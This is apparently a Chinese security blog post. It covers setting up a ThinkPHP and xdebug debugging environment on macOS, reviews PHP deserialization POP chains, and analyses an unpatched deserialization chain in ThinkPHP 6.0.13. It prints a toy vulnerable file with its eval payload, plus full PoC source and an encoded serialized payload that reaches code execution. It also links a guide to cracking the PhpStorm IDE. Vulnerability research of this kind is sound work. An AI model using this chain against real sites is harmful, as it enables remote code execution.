0x01 ThinkPHP版本梳理

截止到2022年10月17日
6.0.x系列最新版是V6.0.13(2022年07月15日发布)
5.1.x系列最新版是V5.1.41(2021年01月12日发布)
5.0.x系列最新版是V5.0.24(2019年01月11日发布)

作者在2019年02月14日发布V5.2 RC1后,没有再发布过V5.2系列,而是在2019年04月22日发布V6.0.0 RC2,看样子V6.0系列接替了V5.2系列

thinkphp6及以上,安装需要使用composer

0x02 Mac下PHP集成环境踩坑

php集成环境,之前在windows下用phpstudy,自从换了mac,什么都要重新来。。

首选使用破解版MAMP Pro,但我这边下载后安装报错(后经查阅,安装破解版MAMP Pro可能需要关闭SIP,SIP即macOS的一种保护机制),不想关闭SIP,放弃这个方案,也试过MAMP免费版,但不支持切换php版本,这个不能忍,尝试phpstudy mac版,发现phpstudy mac版支持切换php版本,其他功能界面也和phpstudy windows版基本一致,就用它了

具体使用phpstudy mac版后发现,启动phpstudy mac版内置的php解释器报错,提示找不到redis.so库,在php.ini中注释掉redis.so库可解决此提醒,but,使用phpstudy内置的php下载composer时又报错,提示缺少openssl库,此时需要自己编译openssl库,太麻烦了,干脆换一个php集成环境吧,找来找去,发现MAMP免费版也可以切换php版本(需要一个小技巧,后面会提到),下载后尝试用内置的php下载安装composer,成功安装composer,OK,就用它了

mamp免费版切换php版本技巧,进入mamp下php安装目录,由于mamp默认会不显示后面加_x的版本,所以可将其他版本改个名字来切换版本,如下图
image-20221019105719682

0x03 Mac下ThinkPHP调试环境踩坑

php开发环境,使用phpstorm 2021.1.4,破解方式参考:https://github.com/ybdt/pentest-hub/tree/main/如何放心的白嫖四大主流语言IDE

安装composer,参考:https://getcomposer.org/download/

在mamp的对应php目录下安装composer,然后创建到/usr/local/bin的软连接,创建软连接后,可从任意位置执行composer及php

1
2
3
ln -s /Applications/MAMP/bin/php/php7.1.33/bin/composer.phar /usr/local/bin/composer

ln -s /Applications/MAMP/bin/php/php7.1.33/bin/php /usr/local/bin/php

安装指定版本的thinkphp框架

1
composer create-project topthink/think tp5.0 5.0.24

我这边composer版本是2.2.18,不是最新版2.4.3,想使用composer安装thinkphp6的最新版6.0.13会提示找不到,可是php7.1安装composer最高版本只能是2.2.18,于是改用php7.4安装composer,成功安装到composer 2.4.3,再用composer 2.4.3安装thinkphp 6.0.13,成功安装,真是一波三折,如下图
image-20221019155233012

然后是php调试环境,mac下想安装xdebug需要先通过homebrew安装php,然后通过pecl安装xdebug,可是这样只能安装php版本对应的xdebug,不能安装指定版本的xdebug,有点烦~

可从https://xdebug.org/wizard中查询当前php版本需要哪个版本的xdebug,结果按照指令安装的时候,发现缺少phpize,官方文档并没有讲述mac下缺少phpize该如何安装,google后发现可能需要编译安装,太麻烦了,想想别的办法,猛地发现,mamp的如下目录自带了编译好的xdebug

1
/Applications/MAMP/bin/php/php7.4.21/lib/php/extensions/no-debug-non-zts-20190902

不得不说,集成环境真香~

修改php.ini,增加如下

1
2
3
4
5
6
7
8
[xdebug]
zend_extension="/Applications/MAMP/bin/php/php7.4.21/lib/php/extensions/no-debug-non-zts-20190902/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_autostart=on
xdebug.remote_log="/var/log/xdebug.log"
xdebug.remote_port=9000
xdebug.remote_handler="dbgp"
xdebug.idekey="PhpStorm"

成功安装了xdebug,如下图
image-20221020001654994

Phpstorm配置过程参见:https://juejin.cn/post/6934614190548221960

配置好后,如下图启动
image-20221020095242692

能看到网页访问停在了断点处
image-20221020094821384

程序执行停在了断点处
image-20221020095242692

0x04 PHP反序列化漏洞及POP链复习

PHP反序列化漏洞原理:服务端在处理用户传入的序列化数据时,需要调用unserialize(),php中调用unserialize()会触发魔法方法__wakekup()__destruct(),如果魔法方法中包含了危险函数或间接包含危险函数,则攻击者可构造恶意的序列化数据,在服务端反序列化的时候造成危险函数的执行,

PHP反序列化POP链原理:由于类反序列化后只包含属性不包含方法,也就是说我们构造的序列化数据只能操纵类的属性,不能操纵方法,只能通过自动调用魔法方法来调用方法,这个时候如果魔法方法中不是直接包含危险函数,就需要向上回溯,一层一层跟踪,也就是所谓的POP链,通常是寻找包含危险函数的同名方法、或者更复杂的,触发各种魔法方法,最终调用危险函数

详细讲解可参考:
https://johnfrod.top/安全/php反序列化漏洞总结/
https://www.cnblogs.com/bmjoker/p/13742666.html

如下是一个存在反序列化漏洞的文件vuln1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Demo {
var $test;

function __construct() {
$this->test = new L();
}

function __destruct() {
$this->test->action();
}
}

class L {
function action() {
echo "function action() in class L";
}
}

class Evil {
var $test2;

function action() {
eval($this->test2);
}
}

unserialize($_GET['test']);

由上述Demo可知,如果构造一个Demo类,里面实例化的是类Evil,反序列化时自动调用__destruct()__destruct()中调用action(),action()中调用危险函数eval,则最终导致代码执行,同时不要忘记将恶意代码赋值给$test2,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Demo {
var $test;

function __construct() {
$this->test = new Evil();
$this->test->test2 = "phpinfo();";
}

function __destruct() {
$this->test->action();
}
}

class Evil {
var $test2;

function action(){
eval($this->test2);
}
}

$d = new demo();
$data = serialize($d);
echo $data;

//上述输出
//O:4:"Demo":1:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

将上述序列化的输出传给vuln1.php,执行结果如下图

image-20221021113505973

0x05 ThinkPHP框架复习

网站搭建好后,我们会访问:http://localhost:8888/tp6.0.13/public/index.php,其实这里的index.php并不是访问的内容,而是一个类似路由的文件,会请求分发到app/controller/Index.php中的方法index,可以看到其内容也是首页中出现的内容
image-20221021151524589

我们对方法index做个修改
image-20221021151908240

可以看到,首页内容也发生了修改
image-20221021151946085

其实访问 http://localhost:8888/tp6.0.13/public/index.php 相当于访问 http://localhost:8888/tp6.0.13/public/index.php/Index/index ,只不过不加的时候,类Index和方法index是作为默认值,如果要访问其他方法,改为其他方法即可

image-20221021152514296

详细讲解可参考:
https://www.kancloud.cn/manual/thinkphp6_0/1037485
https://www.kancloud.cn/manual/thinkphp6_0/1037494

0x06 ThinkPHP最新版6.0.13 0day利用链分析

截止到2022年10月17日,thinkphp 6.0.x系列最新版是V6.0.13(2022年07月15日发布),08月14日有人提交了一个反序列化利用链,是一个目前尚未修复的0day,下面对它进行一波分析

先用如下poc打一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php phpinfo(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(serialize($a));
}

//输出如下
O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A2%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A17%3A%22think%5Clog%5CChannel%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00logger%22%3BO%3A23%3A%22think%5Clog%5Cdriver%5CSocket%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A4%3A%7Bs%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A16%3A%22force_client_ids%22%3Bi%3A1%3Bs%3A16%3A%22allow_client_ids%22%3Bs%3A0%3A%22%22%3Bs%3A11%3A%22format_head%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A9%3A%22think%5CApp%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A13%3A%22think%5CRequest%22%3BO%3A13%3A%22think%5CRequest%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00clientArg%22%3Ba%3A1%3A%7Bs%3A5%3A%22tabid%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A0%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3B%7D

传入payload,如下图

image-20221021170119781

根据poc可以看到漏洞代码出现在

image-20221021161431399

这种框架向上回溯太麻烦了,采用poc+动态debug进行分析,基于之前的thinkphp框架复习,我们在vuln方法中加入漏洞代码,并在反序列化处打上断点,如下图
image-20221021170414934

此处是反序列化入口__destruct(),如下图
image-20221022110935817

一步一步跟进,跟进到下图所示的语句,可以看到此时autosave值为false,进入save()
image-20221021163201653

继续跟踪,最终跟到触达代码执行的地方
image-20221021174538053